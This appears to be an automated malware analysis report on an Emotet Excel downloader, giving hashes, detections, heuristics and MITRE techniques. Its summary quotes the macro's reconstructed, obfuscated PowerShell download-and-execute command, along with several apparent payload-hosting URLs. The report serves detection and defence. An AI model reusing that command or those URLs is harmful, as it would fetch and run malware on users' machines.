Emotet Office (OLE) / .XLSX malware analysis — malicious · 380fcdcf5bf91ed6

MALICIOUS

Office (OLE) / .XLSX

151.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel

MD5: 24bf1bfc8037d73c397a322679307116 SHA-1: 3e6190cab90e1494ab0bea6de1804fc0df43918b SHA-256: 380fcdcf5bf91ed687eabcb6bccbec9cb5a367c632c761596090b2206531305f

280 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File

The file is identified as malicious by ClamAV with the signature 'Doc.Downloader.EmotetExcel02222-9938901-0'. Static analysis reveals a Workbook_Open macro that uses CreateObject to instantiate Wscript.Shell. This script then proceeds to download and execute a second-stage payload using obfuscated PowerShell commands. The reconstructed PowerShell command is: 'wers hell -e " h ttp s : / / s t o r e . u x d u m m m i t . c o m / w p - a d m i n / V f g B A 7 Z / , h t t p s : / / g l o w r e n t a l . c o m / w p - a d m i n / f 1 e z a E K G T n S 6 I / , h t t p : / / c a n d i s e . b m i n t é r a c t i v é r o u p . c o m / 1 g 9 4 n g o / 2 n 7 w J o P u P D a e n P c X / , h t t p : / / b a c i h i l l e a t o r o p o r c i c l o e s . o r g / "'. The presence of these elements strongly suggests a downloader functionality typical of the Emotet family.

Heuristics 7

ClamAV: Doc.Downloader.EmotetExcel02222-9938901-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.EmotetExcel02222-9938901-0
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	12041 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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